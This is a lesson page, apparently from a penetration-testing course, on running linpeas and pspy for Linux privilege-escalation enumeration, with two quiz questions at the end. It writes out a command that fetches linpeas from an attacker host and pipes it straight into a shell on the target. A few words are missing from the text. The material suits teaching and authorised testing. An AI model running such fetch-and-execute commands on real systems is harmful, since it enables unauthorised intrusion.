Automated Enumeration
linpeas dumps everything. Learn to read only what matters.
What you will learn
- -Get linpeas onto a target without leaving a mess
- -Read its color-coded output without drowning in it
- -Use pspy to catch jobs that a static scan misses
Doing every check by hand is slow, and on a timed box slow loses.
scripts run hundreds of checks in one shot: SUID binaries, sudo rights, cron
jobs, writable paths, creds in files, kernel version, the lot. The catch is that
linpeas prints thousands of lines, and a beginner scrolls past the one red flag
that mattered. The skill is not running the script, it is reading it.
Get linpeas onto the box
The cleanest way is to never touch disk. Serve the script from your attacker machine and pipe it straight into the target's .
$cd /opt/PEASS-ng/linPEAS && python3 -m http.server 8000$curl http://10.10.14.5:8000/linpeas.sh | shIf outbound traffic is filtered, download it to a writable instead,
usually /tmp or /dev/shm, make it executable, and run it there.
Read the colors, not every line
linpeas color-codes by severity so you do not read all of it. The scheme is the whole point. Red on yellow marks a 95 percent probability privilege escalation vector, the stuff that usually is your way up. Red text is a high-value finding. Yellow alone is worth a look.
Scroll to the red-on-yellow highlights before anything else. Then read the sudo section, the SUID section, and the "Interesting writable files" section. Ninety percent of the time your path is in one of those four places, and you never had to read the other 2,000 lines.
Take the highlights as leads, not gospel. linpeas flags a possible kernel by version, but it cannot know if it will crash the box, so you still confirm and decide. Treat the output as a prioritized to-do list, then verify each lead by hand with the checks from the earlier lessons.
pspy for the things a snapshot misses
A one-shot scan cannot see a cron job that runs once a minute if it does not fire
during the scan. pspy solves that. It watches process creation in real time
with no root needed, so you catch cron jobs, scheduled scripts, and the exact
commands root runs, including the arguments.
$./pspy64 -pf -i 1000Enumeration scripts are noisy. They spawn hundreds of processes, touch sensitive files, and light up any half-decent . Run them only against systems you own or are contracted to test. On a stealth engagement, prefer targeted manual checks over blasting linpeas and announcing yourself.
In linpeas output, what does a red-on-yellow highlight signal?
You suspect a root cron job but cannot read root's crontab as a low-priv user. Which tool reveals it without root?
pspy. It monitors process creation in real time without any privileges, so you see the cron job and its full command line the moment it runs.